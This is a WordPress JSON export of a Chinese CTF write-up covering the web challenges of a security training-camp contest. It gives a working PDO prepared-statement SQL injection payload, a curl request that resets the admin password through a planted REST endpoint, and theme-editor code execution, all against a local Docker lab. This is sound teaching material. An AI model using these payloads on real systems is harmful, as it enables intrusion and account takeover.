{"id":4107,"date":"2026-01-25T14:49:26","date_gmt":"2026-01-25T06:49:26","guid":{"rendered":"https:\/\/fushuling.com\/?p=4107"},"modified":"2026-01-26T16:30:35","modified_gmt":"2026-01-26T08:30:35","slug":"%e7%ac%ac%e4%b8%89%e5%b1%8a%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%e9%9d%92%e8%ae%ad%e8%90%a5%e4%b8%aa%e4%ba%ba%e8%80%83%e6%a0%b8%e8%b5%9b-web","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2026\/01\/25\/%e7%ac%ac%e4%b8%89%e5%b1%8a%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%e9%9d%92%e8%ae%ad%e8%90%a5%e4%b8%aa%e4%ba%ba%e8%80%83%e6%a0%b8%e8%b5%9b-web\/","title":{"rendered":"\u7b2c\u4e09\u5c4a\u4fe1\u606f\u5b89\u5168\u9752\u8bad\u8425\u4e2a\u4eba\u8003\u6838\u8d5b-WEB"},"content":{"rendered":"\n

\u524d\u8a00<\/h1>\n\n\n\n

\u4ee3\u8868\u590d\u65e6\u767d\u6cfd\u53bb\u53c2\u4e0e\u4e86\u6e05\u534e\u548c\u67d0\u6d89\u5bc6\u5355\u4f4d\u8054\u529e\u7684\u4fe1\u5b89\u9752\u8bad\u8425\uff0c\u53bb\u6e05\u534e\u73a9\u513f\u4e86\u4e00\u5468\uff0c\u6700\u540e\u4e00\u5929\u6709\u4e2a\u7ed3\u8425\u8d5b\uff0c\u6700\u540e\u4e5f\u662f\u628a WEB \u9898 ak \u4e86\uff0c\u56e0\u4e3a\u5f53\u65f6\u662f\u53bb\u6e05\u534e\u673a\u623f\u505a\u7684\uff0c\u4e0d\u80fd\u7528\u81ea\u5df1\u7684\u7535\u8111\uff0c\u4e5f\u4e0d\u80fd\u7528 LLM \uff0c\u4e0a\u4e0d\u4e86\u8c37\u6b4c\uff0c\u672c\u5730\u7684\u73af\u5883\u8fde Burpsuite \u4e5f\u6ca1\u6709\uff0c\u53d1\u8bf7\u6c42\u53ea\u80fd\u7528 curl\uff0c\u6240\u4ee5\u672c\u6765\u4e0d\u662f\u5f88\u96be\u7684\u9898\u5927\u5bb6\u505a\u7684\u4e5f\u5f88\u6298\u78e8\uff0c\u8fd9\u91cc\u7b80\u5355\u5206\u4eab\u4e00\u4e0b\u6211\u7684 WP <\/p>\n\n\n\n

\u9898\u76ee\u5730\u5740<\/h1>\n\n\n\n
\u901a\u8fc7\u7f51\u76d8\u5206\u4eab\u7684\u6587\u4ef6\uff1a\u9752\u8bad\u8425-WEB
\u94fe\u63a5: https:\/\/pan.baidu.com\/s\/1x5iU8G1JDK5mfwn1Coq2Jg \u63d0\u53d6\u7801: b9mc
--\u6765\u81ea\u767e\u5ea6\u7f51\u76d8\u8d85\u7ea7\u4f1a\u5458v3\u7684\u5206\u4eab<\/code><\/pre>\n\n\n\n
WEB\u7406\u8bba\u9898\uff0840\u89e3\uff09<\/h1>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u663e\u7136\u9009 ABD \uff0c\u5c5e\u4e8e\u5e38\u8bc6\u4e86<\/p>\n\n\n\n
SQL\uff088\u89e3\uff09<\/h1>\n\n\n\n
docker build --network=host -t ctf-sql .\ndocker run -it --rm -p 8080:80 ctf-sql<\/code><\/pre>\n\n\n\n
\u9898\u76ee\u63cf\u8ff0\u548cPDO\u9884\u7f16\u8bd1\u6709\u5173\uff0c\u7acb\u523b\u60f3\u5230\u4e86\u6700\u8fd1\u770b\u8fc7\u7684\u4e00\u7bc7\u6587\u7ae0\uff1aA Novel Technique for SQL Injection in PDO\u2019s Prepared Statements<\/a>\uff0c\u5bf9\u7740\u4ee3\u7801\u770b\u4e86\u770b\u53d1\u73b0\u786e\u5b9e\u662f\u4e00\u6837\u7684\uff0c\u53ea\u4e0d\u8fc7\u5982\u679c\u4e4b\u524d\u6ca1\u770b\u8fc7\u8fd9\u4e2a\u6587\u7ae0\u7684\u8bdd\uff0c\u5e94\u8be5\u662f\u5f88\u96be\u7528\u673a\u623f\u7684\u767e\u5ea6\u641c\u5230\u7684\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7b80\u5355\u6765\u8bf4\uff0cPDO \u5b9e\u73b0\u4e86\u81ea\u5df1\u7684 SQL \u89e3\u6790\u5668\uff0c\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u95ee\u53f7\u6216\u5192\u53f7\u5f53\u4f5c\u7ed1\u5b9a\u53c2\u6570\u6765\u8ba9 PDO \u8bef\u5224\u8be5\u8bed\u53e5\u4ece\u800c\u7ed5\u8fc7\u9650\u5236\uff0c\u8be6\u7ec6\u7684\u8fc7\u7a0b\u770b\u4e0a\u9762\u7684\u8fd9\u7bc7\u6587\u7ae0\u5373\u53ef\u3002<\/p>\n\n\n\n
\\?%23%00\nx` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23<\/code><\/pre>\n\n\n\n
http://127.0.0.1:8080\/?page=search&col=%5C%3F%2523%2500&val=x%60+FROM+%28SELECT+table_name+AS+%60%27x%60+from+information_schema.tables%29y%3B%2523<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u770b\u4e86\u770b\u53d1\u73b0 flag \u5728 flag \u5e93\u91cc\uff0c\u6700\u540e\u67e5\u8be2\u5373\u53ef\uff1a<\/p>\n\n\n\n
\\?%23%00\nx` FROM (SELECT flag AS `'x` from flag)y;%23<\/code><\/pre>\n\n\n\n
http://127.0.0.1:8080\/?page=search&col=%5C%3F%2523%2500&val=x%60+FROM+%28SELECT+flag+AS+%60%27x%60+from+flag%29y%3B%2523<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
WordPress\uff085\u89e3\uff09<\/h1>\n\n\n\n
docker build --network=host -t ctf-wordpress .\ndocker run -it --rm -p 8080:80 ctf-wordpress<\/code><\/pre>\n\n\n\n
\u8fd9\u9053\u9898\u7b97\u662f\u6700\u6298\u78e8\u7684\uff0c\u5f53\u65f6\u89e3\u538b\u9644\u4ef6\u53d1\u73b0\u4e86\u4e00\u4e2a branda-white-labeling-3.4.24<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u53bb\u7f51\u4e0a\u641c\u4e86\u641c\uff0c\u53d1\u73b0\u6709 nday \uff0c\u80fd\u91cd\u7f6e\u7528\u6237\u5bc6\u7801\uff0c\u800c\u4e14\u7248\u672c\u53f7\u90fd\u80fd\u5bf9\u4e0a\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5f53\u65f6\u672c\u5730\u642d\u4e86\u4e2a\u73af\u5883\u590d\u73b0\u8fd9\u4e2a CVE\uff0c\u7b80\u5355 diff \u4e86\u4e00\u4e0b\u4ee3\u7801\uff0c\u53d1\u73b0\u6f0f\u6d1e\u70b9\u8fd8\u662f\u5f88\u660e\u663e\u7684\uff0c\u4f17\u6240\u5468\u77e5\uff0c wordpress \u91cd\u7f6e\u5bc6\u7801\u7684\u65f6\u5019\u662f\u4f1a\u53d1\u4e00\u5c01\u90ae\u4ef6\uff0c\u90ae\u4ef6\u91cc\u4f1a\u6709\u4e00\u4e2a\u94fe\u63a5\uff0c\u94fe\u63a5\u4e3b\u8981\u662f\u901a\u8fc7\u968f\u673a\u7684 key \u6765\u9632\u6b62\u653b\u51fb\uff0c\u800c\u8fd9\u4e2a\u63d2\u4ef6\u91cc\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u4f20\u5165 password_1 \u6765\u8bbe\u7f6e\u8fd9\u4e2a\u968f\u673a key\uff0c\u56e0\u6b64\u53ef\u4ee5\u91cd\u7f6e\u4efb\u610f\u7528\u6237\u5bc6\u7801\u4e86\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u540e\u6765\u53d1\u73b0\u8fd9\u4e2a CVE \u6b7b\u6d3b\u90fd\u590d\u73b0\u4e0d\u4e86\uff0c\u9898\u76ee\u90a3\u4e2a\u73af\u5883\u91cc\u6839\u672c\u5c31\u6ca1\u6709\u90ae\u4ef6\u53d1\u9001\u7684\u529f\u80fd\uff0c\u4ee3\u7801\u538b\u6839\u513f\u8d70\u4e0d\u5230\u91cd\u7f6e\u5bc6\u7801\u90a3\u91cc\u3002\u4e07\u5206\u7591\u60d1\u4e4b\u4e0b\u53bb docker \u91cc\u628a\u4ee3\u7801\u722c\u4e86\u4e0b\u6765\uff0c\u53d1\u73b0\u8fd9\u4e2a\u9898\u91cc\u7684 branda-white-labeling-3.4.24 \u548c\u771f\u6b63\u7684 branda-white-labeling-3.4.24 \u6839\u672c\u4e0d\u662f\u4e00\u5957\u4ee3\u7801\u903b\u8f91\uff0c\u5173\u952e\u662f\u51fa\u9898\u4eba\u5728\u63d2\u4ef6\u91cc\u65b0\u589e\u7684\u8fd9\u4e2a signup-password.php\uff0c\u4e8e\u662f\u53c8\u53bb\u5206\u6790\u8fd9\u4e2a php \u6587\u4ef6<\/p>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u6709\u4e00\u4e2a\u672a\u6388\u6743\u7684\u91cd\u7f6e\u5bc6\u7801\u63a5\u53e3\uff0c\u51fd\u6570\u5185\u90e8\u5b8c\u5168\u6ca1\u6709\u68c0\u67e5\u6743\u9650\u6216\u8005\u6821\u9a8c\u8bf7\u6c42\u5408\u6cd5\u6027\uff0c\u653b\u51fb\u8005\u53ea\u9700\u77e5\u9053\u7ba1\u7406\u5458\u7684\u7528\u6237\u540d admin\uff0c\u5373\u53ef\u76f4\u63a5\u5c06\u5176\u5bc6\u7801\u4fee\u6539\u4e3a\u4efb\u610f\u503c<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
curl -X POST \"http:\/\/127.0.0.1:8080\/index.php?rest_route=\/branda\/v1\/reset-password\" -d \"user_login=admin&new_password=123456\"<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u7528\u65b0\u5bc6\u7801\u767b\u8fdb\u540e\u53f0\uff0c\u53d1\u73b0\u540e\u53f0\u6709\u7f16\u8f91\u6a21\u677f\u7684\u63d2\u4ef6\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u968f\u673a\u627e\u4e00\u4e2a\u5e78\u8fd0 PHP \u6587\u4ef6\u4fee\u6539 RCE \u5373\u53ef\uff1a<\/p>\n\n\n\n
http://127.0.0.1:8080\/wp-admin\/theme-editor.php?file=inc%2Fpatterns%2Ffooter-query-title-citation.php&theme=twentytwentytwo<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
http://127.0.0.1:8080\/wp-content\/themes\/twentytwentytwo\/inc\/patterns\/footer-query-title-citation.php<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u524d\u8a00 \u4ee3\u8868\u590d\u65e6\u767d\u6cfd\u53bb\u53c2\u4e0e\u4e86\u6e05\u534e\u548c\u67d0\u6d89\u5bc6\u5355\u4f4d\u8054\u529e\u7684\u4fe1\u5b89\u9752\u8bad\u8425\uff0c\u53bb\u6e05\u534e\u73a9\u513f\u4e86\u4e00\u5468\uff0c\u6700\u540e\u4e00\u5929\u6709\u4e2a\u7ed3\u8425\u8d5b\uff0c\u6700\u540e\u4e5f\u662f\u628a  […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-4107","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4107","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=4107"}],"version-history":[{"count":3,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4107\/revisions"}],"predecessor-version":[{"id":4110,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4107\/revisions\/4110"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=4107"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=4107"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=4107"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}